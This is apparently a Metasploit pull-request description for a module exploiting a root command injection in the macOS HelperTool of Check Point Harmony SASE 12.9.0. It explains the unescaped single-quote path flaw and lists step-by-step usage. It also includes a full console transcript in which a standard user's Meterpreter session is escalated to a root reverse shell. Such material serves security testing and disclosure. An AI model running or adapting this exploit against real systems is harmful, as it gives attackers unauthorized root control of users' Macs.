Check Point Harmony SASE P81 LPE

[RootUp]

This PR adds a local exploit module for a root command injection in the Check Point Harmony SASE (formerly Perimeter 81) macOS HelperTool. It escalates a local, unprivileged user to root and supports both a root session (SESSION action) and running a single command as root (EXEC action), on Intel and Apple Silicon.

Vulnerability

Check Point Harmony SASE (formerly Perimeter 81) for macOS ships a privileged SMJobBless HelperTool (com.perimeter81.osx.HelperTool). Its daemon-install routine DIInstallScriptsExecutor.copyDaemon builds a shell command and runs it as root through /bin/bash -c, inserting the connecting client's app bundle path (NSBundle.mainBundle.bundlePath) inside single quotes with no escaping. A ditto copy of the app keeps the vendor signature and still satisfies the helper's SMAuthorizedClients requirement, so relocating that copy under a directory whose name contains a single quote injects a command that runs as root - local user to root.

• Affected: Harmony SASE for macOS 12.9.0 (build 11237); universal binary (Intel + Apple Silicon)
• Fixed: 12.9.1 (build 12074)
• CVE: none assigned

Verification Steps

1. Install Harmony SASE 12.9.0 (build 11237) on a disposable macOS lab machine.
2. Get a Meterpreter session as a normal, non-root user, inside that user's GUI login session.
3. Start msfconsole.
4. use exploit/osx/local/harmony_sase_helpertool_lpe
5. set SESSION <id>
6. set TARGET 0 (Apple Silicon) or set TARGET 1 (Intel)
7. set LHOST <address>
8. run
9. You should get a root session. For the EXEC action, set ACTION EXEC and set COMMAND <cmd> to get the command output instead.

Options

TRIGGER_MODE - which install path to drive: relaunch_flag (default, deterministic) or race.

COMMAND - command to run as root for the EXEC action. Default whoami.

Scenarios

Harmony SASE 12.9.0 (build 11237), Apple Silicon, root session

Attacker: Kali (10.211.55.6). Victim: macOS Apple Silicon, standard user dexter.

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.211.55.6:4444
[*] Meterpreter session 1 opened (10.211.55.6:4444 -> 10.211.55.2:63080) at 2026-08-18 12:10:34 +0400

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: dexter
meterpreter > background
[*] Backgrounding session 1...

msf6 exploit(multi/handler) > use exploit/osx/local/harmony_sase_helpertool_lpe
[*] Using configured payload osx/aarch64/meterpreter_reverse_tcp
[*] Using action SESSION - view all 2 actions with the show actions command
msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set TARGET 0
TARGET => 0
msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set LHOST 10.211.55.6
LHOST => 10.211.55.6
msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > run

[*] Started reverse TCP handler on 10.211.55.6:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Harmony SASE 12.9.0/11237 with vulnerable HelperTool
[*] Generating Apple Silicon (ARM64) Mach-O payload (osx/aarch64/meterpreter_reverse_tcp)
[*] Writing '/tmp/.hsp_L2dRiRWMn0' (813075 bytes) ...
[*] SESSION action: the root payload will be launched via the injection
[*] Driving HelperTool install path (TRIGGER_MODE=relaunch_flag), up to 300s
[+] HelperTool executed the injected command as root; the root payload was launched (watch for a new session above).
[*] Meterpreter session 2 opened (10.211.55.6:4444 -> 10.211.55.2:63092) at 2026-08-18 12:12:01 +0400

msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter >